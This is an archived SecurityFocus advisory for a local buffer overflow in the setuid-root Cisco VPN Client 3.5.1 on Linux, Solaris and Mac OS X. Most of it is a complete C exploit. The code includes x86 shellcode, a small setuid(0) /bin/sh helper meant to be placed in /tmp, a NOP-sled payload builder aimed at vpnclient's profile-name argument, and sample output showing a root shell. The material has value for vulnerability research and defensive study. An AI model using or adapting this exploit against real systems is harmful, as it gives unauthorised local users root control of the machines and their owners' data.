source: http://www.securityfocus.com/bid/5056/info

The Cisco VPN Client software is used to establish Virtual Private Network (VPN) connections between client machines and a Cisco VPN Concentrator.

A vulnerability has been reported in some versions of the VPN Client. If an oversized profile name is passed to the vpnclient binary, a buffer overflow condition may occur. As vpnclient runs suid root, exploitation of this vulnerability will grant a local attacker root access to the vulnerable system.

This vulnerability affects the VPN Client version 3.5.1 for Linux, Solaris and Mac OS X. Windows clients are not believed to be vulnerable. Earlier versions of the VPN Client may share this vulnerability, although this has not been confirmed. 

/* buffer overflow for cisco's vpnclient for linux
   tested against the latest release: vpnclient-linux-3.5.1.Rel-k9.tar.gz

   to get this to properly work, you need to put the following code into
   xx.c, compile it (as xx), and place the executable into /tmp (to bypass
   tight PAM restrictions)

   #include <stdio.h>
   main() {
     setuid(0);
     execl("/bin/sh", "sh", NULL);
   }

   then compile this and run it. syntax is ./vpnclient <offset>
   tested under gentoo linux and debian:
   $ ls -la `which vpnclient`
   -rws--x--x    1 root   root   160900 Apr 13 22:34 /usr/local/bin/vpnclient
   $ ./vpnKILLient 
   addr: 0xbffffbac, offset: 0
   Cisco Systems VPN Client Version 3.5.1 (Rel)
   Copyright (C) 1998-2002 Cisco Systems, Inc. All Rights Reserved.
   Client Type(s): Linux
   Running on: Linux 2.4.17 #1 Sat Apr 13 21:53:52 EDT 2002 i686

   sh-2.05a# id
   uid=0(root) gid=100(users) groups=100(users),10(wheel)

   greetz: all of the angrypacket crew (of course)
           shok  -> pheerable^2;
           vegac -> 31336++;

   when you get a chance, check out http://sec.angrypacket.com
*/

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define NOP 0x90
#define LEN 620 /* 520 to own eip */

/* shellcode by vegac (setuid(0)->/tmp/xx) */
/* wont work if your /tmp partition is mounted noexec or nosuid */
char shell[]=
        "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
        "\x31\xc0\x50\x68\x2f\x2f\x78\x78"
        "\x68\x2f\x74\x6d\x70\x89\xe3\x31"
        "\xc0\x50\x89\xe2\x54\x89\xe1\xb0"
        "\x0b\xcd\x80\x00";

unsigned long get_sp (void) {
	__asm__("mov %esp,%eax");
}
int main(int argc, char *argv[]) {

	int i, offset=0;
	long addr;
	char *buf, *ptr;

	if(argc > 1) offset = atoi(argv[1]);

	buf = (char *)malloc(sizeof(char) * LEN);
	bzero(buf, LEN);
	addr = get_sp() - offset;
	printf("addr: 0x%x, offset: %d\n", addr, offset);

	for(i = 0; i < LEN; i += 4) {
		*(long *)&buf[i] = addr;
	}

	for(i = 0; i < (LEN / 2); i++) {
		*(buf + i) = NOP;
	}

	ptr = buf + ((LEN / 2) - (strlen(shell) / 2));
	for(i = 0; i < strlen(shell); i++) {
		*(ptr++) = shell[i];
	}
	buf[LEN - 1] = '\0';

	execl("/usr/local/bin/vpnclient", "vpnclient", "connect", buf, 0);
	return(0);

}
